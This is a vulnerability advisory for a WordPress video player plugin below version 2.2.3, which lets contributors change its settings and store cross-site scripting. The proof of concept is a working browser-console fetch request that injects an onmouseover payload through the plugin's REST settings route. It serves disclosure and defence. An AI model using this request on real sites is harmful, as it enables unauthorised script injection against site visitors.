WordPress Plugin Vulnerabilities
The Ultimate Video Player For WordPress < 2.2.3 - Contributor+ Stored XSS
Description
The plugin does not have proper capability check when updating its settings via a REST route, allowing Contributor and above users to update them. Furthermore, due to the lack of escaping in one of the settings, this also allows them to perform Stored XSS attacks
Proof of Concept
As a contributor, get a REST nonce by opening https://example.com/wp-admin/admin-ajax.php?action=rest-nonce (when being logged in) Then run the below command in the developer console of the web browser (still while being logged in as a contributor, and having put the nonce retrieved) fetch("/wp-json/presto-player/v1/settings", { "headers": { "content-type": "application/x-www-form-urlencoded" }, "method": "POST", "body": 'presto_player_branding[player_css]=123"onmouseover=alert(/XSS/)//&_wpnonce=<NONCE>', "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); The XSS will be triggered in all pages when the Audio player is embed and the mouse is moved over it.
Affects Plugins
References
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-03-20 (about 1 months ago)
Added
2024-03-20 (about 1 months ago)
Last Updated
2024-03-29 (about 1 months ago)